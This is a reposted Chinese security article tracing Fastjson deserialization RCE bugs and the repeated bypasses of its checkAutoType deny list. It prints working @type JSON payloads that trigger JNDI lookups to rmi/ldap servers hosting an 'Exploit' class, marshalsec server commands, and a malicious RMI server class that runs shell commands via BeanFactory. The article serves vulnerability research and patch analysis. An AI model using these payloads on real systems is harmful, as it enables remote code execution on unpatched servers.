转载

浅谈Fastjson RCE漏洞的绕过史

*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

引言

最近一段时间fastjson一度成为安全圈的热门话题，作为一个是使用十分广泛的jar包，每一次的RCE漏洞都足以博得大众的眼球，关于fastjson每次漏洞的分析也已经早有大牛详细剖析，本文章旨在顺着17年fastjson第一次爆出漏洞到现在为止，看一下fastjson的缝缝补补，瞻仰一下大佬们和安全开发人员的斗智斗勇，对期间的漏洞做一个汇总，获悉其中漏洞挖掘的一些规律。

Fastjson RCE关键函数

DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理
TypeUtils. loadClass() 根据传入的类名，生成类的实例
JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set/get/is 方法。
ParserConfig. checkAutoType() 阿里后续添加的防护函数，用于在 loadclass 前检查传入的类是否合法。

历史fastjson漏洞汇总与简析

fastjson RCE漏洞的源头

首先来看一次fastjson反序列化漏洞的poc

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit",""autoCommit":true}

先看调用栈。

第一版的利用原理比较清晰，因为fastjson在处理以@type形式传入的类的时候，会默认调用该类的共有set/get/is函数，因此我们在寻找利用类的时候思路如下：

1、类的成员变量我们可以控制

2、想办法在调用类的某个set/get/is函数的时候造成命令执行

于是便找到了JdbcRowSetImpl类，该类在setAutoCommit函数中会对成员变量dataSourceName进行lookup，标准的jndi注入利用。

Exec:620,Runtime //命令执行

Lookup:417,InitalContext /jndi lookup函数通过rmi或者ldap获取恶意类

setAutoCommit:4067,JdbcRowSetImpl 通过setAutoCommit从而在后面触发了lookup函数

setValue:96,FieldDeserializer //反射调用传入类的set函数

deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数

parseObject:368,DefaultJSONParser 解析传入的json字符串

关于jndi注入的利用方式我在这里简单提一下，因为jndi注入的利用受jdk版本影响较大，所以在利用的时候还是要多尝试的。

注：利用之前当然要先确定一下漏洞是否存在，通过dnslog是个比较好用的法子。

1、基于rmi的利用方式

适用jdk版本：JDK 6u132, JDK 7u122, JDK 8u113之前

利用方式：

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.RMIRefServer

http://127.0.0.1:8080/test/#Expolit

2、基于ldap的利用方式

适用jdk版本：JDK 11.0.1、8u191、7u201、6u211之前

利用方式：

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.LDAPRefServer

http://127.0.0.1:8080/test/#Expolit

3、基于BeanFactory的利用方式

适用jdk版本：JDK 11.0.1、8u191、7u201、6u211以后

利用前提：因为这个利用方式需要借助服务器本地的类，而这个类在tomcat的jar包里面，一般情况下只能在tomcat上可以利用成功。

利用方式：

public class EvilRMIServerNew {

    public static void main(String[] args) throws Exception {

        System.out.println("Creating evil RMI registry on port 1097");

        Registry registry = LocateRegistry.createRegistry(1097);


        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code

        ref.add(new StringRefAddr("forceString", "x=eval"));

        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows

        ref.add(new StringRefAddr("x", "/"/".getClass().forName(/"javax.script.ScriptEngineManager/").newInstance().getEngineByName(/"JavaScript/").eval(/"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()/")"));


        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);

        registry.bind("Object", referenceWrapper);


    }

}

fastjson RCE漏洞的历次修复与绕过

fastjson在曝出第一版的RCE漏洞之后，官方立马做了更新，于是就迎来了一个新的主角，checkAutoType() ，在接下来的一系列绕过中都是和这个函数的斗智斗勇。

先看一下这个函数的代码：

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

    if (typeName == null) {

        return null;

    } else if (typeName.length() >= 128) {

        throw new JSONException("autoType is not support. " + typeName);

    } else {

        String className = typeName.replace('$', '.');

        Class<?> clazz = null;

        int mask;

        String accept;

        if (this.autoTypeSupport || expectClass != null) {

            for(mask = 0; mask < this.acceptList.length; ++mask) {

                accept = this.acceptList[mask];

                if (className.startsWith(accept)) {

                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);

                    if (clazz != null) {

                        return clazz;

                    }

                }

            }


            for(mask = 0; mask < this.denyList.length; ++mask) {

                accept = this.denyList[mask];

                if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {

                    throw new JSONException("autoType is not support. " + typeName);

                }

            }

        }

防御的方式比较清晰，限制长度+黑名单，这个时候第一时间产生的想法自然是绕过黑名单，先看一下第一版的黑名单：

this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

其实第一版的黑名单还是挺强大的，关于黑名单的绕过，就我已知的目前只有一个依赖于ibatis的payload，当然因为ibatis在java里面的使用还是非常广泛的，所以这个payload危害也是比较大的，这也就是1.2.45的绕过。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"rmi://localhost:1099/Exploit"}}

绕过黑名单是第一种思路，但是安全界大牛们思路还是比较灵活的，很快又发现了第二种思路，我们再仔细看一下checkAutoType函数的下面这几行代码：

f (!this.autoTypeSupport) {

    for(mask = 0; mask < this.denyList.length; ++mask) {

        accept = this.denyList[mask];

        if (className.startsWith(accept)) {

            throw new JSONException("autoType is not support. " + typeName);

        }

    }


    for(mask = 0; mask < this.acceptList.length; ++mask) {

        accept = this.acceptList[mask];

        if (className.startsWith(accept)) {

            if (clazz == null) {

                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);

            }

该函数是先检查传入的@type的值是否是在黑名单里，然后再进入loadClass函数，这样的话如果loadClass函数里要是会对传入的class做一些处理的话，我们是不是就能绕过黑名单呢，跟进loadClass函数，

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {

    if (className != null && className.length() != 0) {

        Class<?> clazz = (Class)mappings.get(className);
        if (clazz != null) {

            return clazz;

        } else if (className.charAt(0) == '[') {

            Class<?> componentType = loadClass(className.substring(1), classLoader);

            return Array.newInstance(componentType, 0).getClass();

        } else if (className.startsWith("L") && className.endsWith(";")) {

            String newClassName = className.substring(1, className.length() - 1);

            return loadClass(newClassName, classLoader);

可以看到当传入的className以L开头以 ; 结尾的时候会把className的首字符和最后一个字符截去，再去生成实例，于是绕过的poc就非常好写了，原来的payload的利用类的首尾加上这两个字符就Ok了。

{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

之后的42、43版本的绕过和41的原理是一样的我们就不再提了，具体可以去 https://github.com/shengqi158/fastjson-remote-code-execute-poc/ 自行查阅。

最新fastjson RCE的分析

OK，现在来到了我们期待已久的最新的fastjson漏洞的分析，关于这个漏洞有很精彩的小故事可以讲一讲。

这个漏洞在曝光之后poc迟迟未见，关于它能够被利用成功的版本也可谓是每日都有更新，关于版本有几个关键字“51”、“48”，“58”，究竟是哪个让人摸不到头脑，于是乎，决定先去看看官方的公告，发现只有49版本releases的公告里面写了“增强安全防护”，于是乎决定去48、49版本寻觅一下，看看commit之类的，但是当时也没有发现什么。

这个时候，一个名不愿透露姓名的大佬在某个技术群里面默默发了一个关键字“testcase“，当时忽然间产生了一丝电流，难道阿里的大佬们在修漏洞的时候会在testcase里面做测试，然后还把testcase的代码传到git里面了？但是还不够，因为testcase的代码太多了究竟放在哪里呢，这个时候之前的分析就可以知道，阿里在防护第一版RCE的时候是通过autotypecheck函数，那这次的补丁也很有可能和它相关喽，直接在testcase里面全局寻找带有autotype关键字的文件名，于是乎，就到达了如下位置：

浅谈Fastjson RCE漏洞的绕过史

依次去看一下里面的文件，基本都是和反序列化漏洞相关的test，其中AutoTypeTest4.java文件中有如下代码：

public void test_0()throws Exception{
    String payload="{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"}";
    String payload_2="{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"rmi://127.0.0.1:8889/xxx/",/"autoCommit/":true}";

    assertNotNull("class deser is not null",config.getDeserializer(Class.class));

int size=mappings.size();

final int COUNT=10;
for(int i=0;i<COUNT; ++i){
        JSON.parse(payload,config);
    }

for(int i=0;i<COUNT; ++i){
        Throwable error2=null;
try{
            JSON.parseObject(payload_2);
        }catch(Exception e){
            error2=e;
        }
        assertNotNull(error2);
        assertEquals(JSONException.class,error2.getClass());
    }
    assertEquals(size,mappings.size());
}

看上去和以往的payload都不太一样，先去写一个简化版的代码，调试一下：

String payload="{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"}";

 String payload_2 = "{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://127.0.0.1:1389/Exploit/",/"autoCommit/":true}";

 JSON.parse(payload);

 JSON.parse(payload_2);

发现可以弹框成功（从49版本往前，一个版本一个版本试验，到47版本试验成功了），那这就很可疑了，但是还有个问题，漏洞要利用总不能让你同时传进去两个json字符串让你依次parse吧，于是把两串json整理如下

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}

果然可以利用成功，、接下来可以调试一下看看漏洞成因，因为一眼就能看出来是绕过了黑名单，所以问题的关键自然在checkAutoType()和loadClass()这两个函数中，去跟进一下

首先在” a ” :{ ” @type ” : ” java.lang.Class ” , ” val ” : ” com.sun.rowset.JdbcRowSetImpl ” } 传入的时候，Class类是不在黑名单内的，在MiscCodec类的deserialze函数里面可以看到会将val的值拿出来用来生成对应的对象，即JdbcRowSetImpl，但是我们并没法给JdbcRowSetImpl对象的成员变量赋值，

浅谈Fastjson RCE漏洞的绕过史

继续往deserialze的下面看，当传入的@type的值为Class的时候会调用loadClass函数，

浅谈Fastjson RCE漏洞的绕过史

再往下跟，有调了一下loadClass函数，多加了一个值为true的参数

浅谈Fastjson RCE漏洞的绕过史

再跟进去可以看到因为传入的cache为true，所以会在mapping里面把JdbcRowSetImpl这个对象的实例和com.sun.rowset.JdbcRowSetImpl 对应起来，OK现在关于a的分析到此为止，

浅谈Fastjson RCE漏洞的绕过史

我们该去跟着b

（” b ” :{ ” @type ” : ” com.sun.rowset.JdbcRowSetImpl ” , ” dataSourceName ” : ” ldap://localhost:1389/Exploit ” , ” autoCommit ” :true}} ）了，看看为什么checkautotype()函数没把b给拦下来，直接去跟进checkautotype函数，当autotype为true的时候，虽然发现黑名单匹配了，但是TypeUtils.getClassFromMapping(typeName) ！=null所以不会抛出异常。

浅谈Fastjson RCE漏洞的绕过史